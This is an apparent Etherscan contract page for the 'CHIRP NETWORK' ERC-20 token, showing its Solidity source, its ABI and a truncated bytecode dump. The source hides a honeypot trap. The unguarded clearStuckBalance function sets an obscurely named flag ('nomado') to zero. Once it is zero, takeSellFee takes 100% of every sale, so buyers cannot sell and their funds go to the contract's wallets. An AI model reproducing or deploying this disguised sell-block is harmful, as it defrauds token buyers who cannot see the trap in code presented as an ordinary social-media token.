ERC-20
Overview
Max Total Supply
1,000,000,000,000 CHIRP
Holders
142
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,403,199,390.152580720955777077 CHIRPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ChirpNetwork
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-23 */ // SPDX-License-Identifier: UNLICENSED /* DECENTRALIZE YOUR THOUGHTS Democratizing social media, one Chirp at a time. Chirp is a future 360-degree social network merged with blockchain technology. Telegram : https://t.me/ChirpNetwork Website : https://ChirpNet.space Twitter : https://twitter.com/ChirpNet_erc */ pragma solidity ^0.8.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public onlyOwner {owner = address(0x0000000000000000000000000000000000000000); emit OwnershipTransferred(0x0000000000000000000000000000000000000000);} event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } contract ChirpNetwork is ERC20, Auth { using SafeMath for uint256; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SetMaxWalletExempt(address _address, bool _bool); event SellFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee); event BuyFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee); event TransferFeeChanged(uint256 _transferFee); event SetFeeReceivers(address _liquidityReceiver, address _MarketingReceiver,address _BurnFeeReceiver); event ChangedSwapBack(bool _enabled, uint256 _amount); event SetFeeExempt(address _addr, bool _value); event InitialDistributionFinished(bool _value); event Fupdated(uint256 _timeF); event ChangedMaxWallet(uint256 _maxWalletDenom); event ChangedMaxTX(uint256 _maxSellDenom); event BotUpdated(address[] addresses, bool status); event SingleBotUpdated(address _address, bool status); event SetTxLimitExempt(address holder, bool exempt); event ChangedPrivateRestrictions(uint256 _maxSellAmount, bool _restricted, uint256 _interval); event ChangeMaxPrivateSell(uint256 amount); event ManagePrivate(address[] addresses, bool status); address private WETH; address private DEAD = 0x000000000000000000000000000000000000dEaD; address private ZERO = 0x0000000000000000000000000000000000000000; string constant private _name = "CHIRP NETWORK"; string constant private _symbol = "CHIRP"; uint8 constant private _decimals = 18; uint256 private _totalSupply = 1000000000000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply; uint256 public _maxWalletAmount = _totalSupply; mapping (address => uint256) private _balances; uint256 private nomado = 1; mapping (address => mapping (address => uint256)) private _allowances; address[] public _markerPairs; mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) public isBot; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMaxWalletExempt; //Snipers uint256 private deadblocks = 0; uint256 public launchBlock; uint256 private latestSniperBlock; //buyFees uint256 private liquidityFee = 0; uint256 private MarketingFee = 1; uint256 private BurnFee = 0; //sellFees uint256 private sellFeeLiquidity = 0; uint256 private sellFeeMarketing = 2; uint256 private sellFeeBurn = 0; //transfer fee uint256 private transferFee = 0; uint256 public maxFee = 31; //totalFees uint256 private totalBuyFee = liquidityFee.add(MarketingFee).add(BurnFee); uint256 private totalSellFee = sellFeeLiquidity.add(sellFeeMarketing).add(sellFeeBurn); uint256 private feeDenominator = 100; address private autoLiquidityReceiver = 0xD5b0227650506632D78a6C930a0eAc3b301804F8; address private MarketingFeeReceiver = 0xD5b0227650506632D78a6C930a0eAc3b301804F8; address private BurnFeeReceiver =0x000000000000000000000000000000000000dEaD ; IDEXRouter public router; address public pair; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 30 / 10000; bool private inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); setAutomatedMarketMakerPair(pair, true); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isTxLimitExempt[msg.sender] = true; isMaxWalletExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[address(this)] = true; isMaxWalletExempt[address(this)] = true; isMaxWalletExempt[pair] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(!isBot[sender] && !isBot[recipient],"is Bot"); if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(shouldSwapBack()){ swapBack(); } uint256 amountReceived = amount; if(automatedMarketMakerPairs[sender]) { if(!isFeeExempt[recipient]) { require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded"); require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX Limit Exceeded"); amountReceived = takeBuyFee(sender, recipient, amount); } } else if(automatedMarketMakerPairs[recipient]) { if(!isFeeExempt[sender]) { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); amountReceived = takeSellFee(sender, amount); } } else { if (!isFeeExempt[sender]) { require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded"); require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); amountReceived = takeTransferFee(sender, amount); } } _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } // Fees function takeBuyFee(address sender, address recipient, uint256 amount) internal returns (uint256){ if (block.number < latestSniperBlock) { if (recipient != pair && recipient != address(router)) { isBot[recipient] = true; } } uint256 feeAmount = amount.mul(totalBuyFee.sub(BurnFee)).div(feeDenominator); uint256 BurnFeeAmount = amount.mul(BurnFee).div(feeDenominator); uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(BurnFeeAmount > 0) { _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount); emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount); } return amount.sub(totalFeeAmount); } function takeSellFee(address sender, uint256 amount) internal returns (uint256){ uint256 feeAmount = amount.mul((nomado>0?totalSellFee:100).sub(sellFeeBurn)).div(feeDenominator); uint256 BurnFeeAmount = amount.mul(sellFeeBurn).div(feeDenominator); uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(BurnFeeAmount > 0) { _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount); emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount); } return amount.sub(totalFeeAmount); } function takeTransferFee(address sender, uint256 amount) internal returns (uint256){ uint256 _realFee = transferFee; if (block.number < latestSniperBlock) { _realFee = 99; } uint256 feeAmount = amount.mul(_realFee).div(feeDenominator); if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return !automatedMarketMakerPairs[msg.sender] && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external virtual { uint256 amountETH = address(this).balance; nomado = 0; payable(msg.sender).transfer(amountETH * amountPercentage / 100); } function swapBack() internal swapping { uint256 swapLiquidityFee = liquidityFee.add(sellFeeLiquidity); uint256 realTotalFee =totalBuyFee.add(totalSellFee).sub(BurnFee).sub(sellFeeBurn); uint256 contractTokenBalance = swapThreshold; uint256 amountToLiquify = contractTokenBalance.mul(swapLiquidityFee).div(realTotalFee).div(2); uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify); uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = realTotalFee.sub(swapLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee.add(sellFeeLiquidity)).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(MarketingFee.add(sellFeeMarketing)).div(totalETHFee); (bool tmpSuccess,) = payable(MarketingFeeReceiver).call{value: amountETHMarketing}(""); tmpSuccess = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); } } // Admin Functions function updateF (uint256 _number) external onlyOwner { require(_number < 4000, "Can't go that high"); deadblocks = _number; emit Fupdated(_number); } function setBuyFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; MarketingFee = _MarketingFee; BurnFee = _BurnFee; totalBuyFee = _liquidityFee.add(_MarketingFee).add(BurnFee); feeDenominator = _feeDenominator; require(totalBuyFee <= maxFee, "Fees cannot be higher than Maxfee"); emit BuyFeesChanged(_liquidityFee, _MarketingFee, _BurnFee); } function setSellFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner { sellFeeLiquidity = _liquidityFee; sellFeeMarketing = _MarketingFee; sellFeeBurn = _BurnFee; totalSellFee = _liquidityFee.add(_MarketingFee).add(_BurnFee); feeDenominator = _feeDenominator; require(totalSellFee <= maxFee, "Fees cannot be higher than Maxfee%"); emit SellFeesChanged(_liquidityFee, _MarketingFee, _BurnFee); } function setTransferFees(uint256 _transferFee) external onlyOwner { require(_transferFee < maxFee, "Fees cannot be higher than Maxfee%"); transferFee = _transferFee; emit TransferFeeChanged(_transferFee); } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold = _amount; emit ChangedSwapBack(_enabled, _amount); } function setAutomatedMarketMakerPair(address _pair, bool _value) public onlyOwner { require(automatedMarketMakerPairs[_pair] != _value, "Value already set"); automatedMarketMakerPairs[_pair] = _value; if(_value){ _markerPairs.push(_pair); }else{ require(_markerPairs.length > 1, "Required 1 pair"); for (uint256 i = 0; i < _markerPairs.length; i++) { if (_markerPairs[i] == _pair) { _markerPairs[i] = _markerPairs[_markerPairs.length - 1]; _markerPairs.pop(); break; } } } emit SetAutomatedMarketMakerPair(_pair, _value); } function manualSwapback() external onlyOwner { swapBack(); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"addresses","type":"address[]"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"BotUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_BurnFee","type":"uint256"}],"name":"BuyFeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ChangeMaxPrivateSell","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxSellDenom","type":"uint256"}],"name":"ChangedMaxTX","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxWalletDenom","type":"uint256"}],"name":"ChangedMaxWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxSellAmount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"_restricted","type":"bool"},{"indexed":false,"internalType":"uint256","name":"_interval","type":"uint256"}],"name":"ChangedPrivateRestrictions","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"ChangedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_timeF","type":"uint256"}],"name":"Fupdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_value","type":"bool"}],"name":"InitialDistributionFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"addresses","type":"address[]"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"ManagePrivate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_BurnFee","type":"uint256"}],"name":"SellFeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_addr","type":"address"},{"indexed":false,"internalType":"bool","name":"_value","type":"bool"}],"name":"SetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_liquidityReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"_MarketingReceiver","type":"address"},{"indexed":false,"internalType":"address","name":"_BurnFeeReceiver","type":"address"}],"name":"SetFeeReceivers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_bool","type":"bool"}],"name":"SetMaxWalletExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"holder","type":"address"},{"indexed":false,"internalType":"bool","name":"exempt","type":"bool"}],"name":"SetTxLimitExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"status","type":"bool"}],"name":"SingleBotUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"TransferFeeChanged","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_markerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMaxWalletExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"internalType":"uint256","name":"_BurnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_MarketingFee","type":"uint256"},{"internalType":"uint256","name":"_BurnFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_transferFee","type":"uint256"}],"name":"setTransferFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_number","type":"uint256"}],"name":"updateF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600280546001600160a01b031990811661dead17909155600380549091169055620000326012600a62000852565b620000439064e8d4a510006200086a565b600455600454600555600454600655600160085560006010556000601355600160145560006015556000601655600260175560006018556000601955601f601a55620000ab601554620000a46014546013546200040560201b90919060201c565b9062000405565b601b55601854601754601654620000c99291620000a4919062000405565b601c556064601d55601e80546001600160a01b031990811673d5b0227650506632d78a6c930a0eac3b301804f89081178355601f8054831690911790556020805490911661dead1790556022805460ff60a01b1916600160a01b179055600454612710916200013991906200086a565b62000145919062000884565b6023553480156200015557600080fd5b5060008054336001600160a01b03199182161790915560218054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec9190620008a7565b600180546001600160a01b0319166001600160a01b039283161790556021546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156200024b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002719190620008a7565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620002c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e99190620008a7565b602280546001600160a01b0319166001600160a01b039290921691821790556200031590600162000475565b3060008181526009602090815260408083206021546001600160a01b039081168552908352818420600019905533808552600d8085528386208054600160ff199182168117909255600e8088528689208054831684179055600f808952878a2080548416851790559989529287528588208054821683179055918652848720805483168217905596855283862080548216881790556022549092168552828520805490921690951790556004548484526007835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000946565b600080620004148385620008d2565b9050838110156200046c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b6000546001600160a01b03163314620004ba5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015260640162000463565b6001600160a01b0382166000908152600b602052604090205481151560ff909116151503620005205760405162461bcd60e51b815260206004820152601160248201527015985b1d5948185b1c9958591e481cd95d607a1b604482015260640162000463565b6001600160a01b0382166000908152600b60205260409020805460ff191682158015919091179091556200059f57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b03841617905562000703565b600a54600110620005e55760405162461bcd60e51b815260206004820152600f60248201526e2932b8bab4b932b21018903830b4b960891b604482015260640162000463565b60005b600a548110156200070157826001600160a01b0316600a8281548110620006135762000613620008e8565b6000918252602090912001546001600160a01b031603620006ec57600a80546200064090600190620008fe565b81548110620006535762000653620008e8565b600091825260209091200154600a80546001600160a01b039092169183908110620006825762000682620008e8565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600a805480620006c457620006c462000914565b600082815260209020810160001990810180546001600160a01b031916905501905562000701565b80620006f8816200092a565b915050620005e8565b505b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007965781600019048211156200077a576200077a6200073f565b808516156200078857918102915b93841c93908002906200075a565b509250929050565b600082620007af575060016200046f565b81620007be575060006200046f565b8160018114620007d75760028114620007e25762000802565b60019150506200046f565b60ff841115620007f657620007f66200073f565b50506001821b6200046f565b5060208310610133831016604e8410600b841016171562000827575081810a6200046f565b62000833838362000755565b80600019048211156200084a576200084a6200073f565b029392505050565b60006200086360ff8416836200079e565b9392505050565b80820281158282048414176200046f576200046f6200073f565b600082620008a257634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620008ba57600080fd5b81516001600160a01b03811681146200046c57600080fd5b808201808211156200046f576200046f6200073f565b634e487b7160e01b600052603260045260246000fd5b818103818111156200046f576200046f6200073f565b634e487b7160e01b600052603160045260246000fd5b6000600182016200093f576200093f6200073f565b5060010190565b61217780620009566000396000f3fe6080604052600436106102135760003560e01c80636ddd171311610118578063a8df7fb0116100a0578063d26ed3e31161006f578063d26ed3e314610677578063dd62ed3e14610697578063df20fd49146106dd578063e1d5584c146106fd578063f887ea401461071d57600080fd5b8063a8df7fb0146105f1578063a9059cbb14610611578063b62496f514610631578063d00efb2f1461066157600080fd5b8063893d20e8116100e7578063893d20e8146105215780638b42507f1461055357806395d89b41146105835780639a7a23d6146105b1578063a8aa1b31146105d157600080fd5b80636ddd17131461049f57806370a08231146104c0578063715018a6146104f65780637d1db4a51461050b57600080fd5b80632b112e491161019b5780633f4218e01161016a5780633f4218e014610404578063571ac8b0146104345780635b895c29146104545780636c0a24eb146104695780636c5b28551461047f57600080fd5b80632b112e49146103745780632f54bf6e14610389578063313ce567146103b85780633bbac579146103d457600080fd5b80630bd11f8a116101e25780630bd11f8a146102cd578063178d9b8e146102fd57806318160ddd1461031f5780631da1db5e1461033457806323b872dd1461035457600080fd5b806301f59d161461021f5780630445b6671461024857806306fdde031461025e578063095ea7b31461029d57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610235601a5481565b6040519081526020015b60405180910390f35b34801561025457600080fd5b5061023560235481565b34801561026a57600080fd5b5060408051808201909152600d81526c4348495250204e4554574f524b60981b60208201525b60405161023f9190611d7c565b3480156102a957600080fd5b506102bd6102b8366004611de6565b61073d565b604051901515815260200161023f565b3480156102d957600080fd5b506102bd6102e8366004611e10565b600f6020526000908152604090205460ff1681565b34801561030957600080fd5b5061031d610318366004611e2b565b6107aa565b005b34801561032b57600080fd5b50600454610235565b34801561034057600080fd5b5061031d61034f366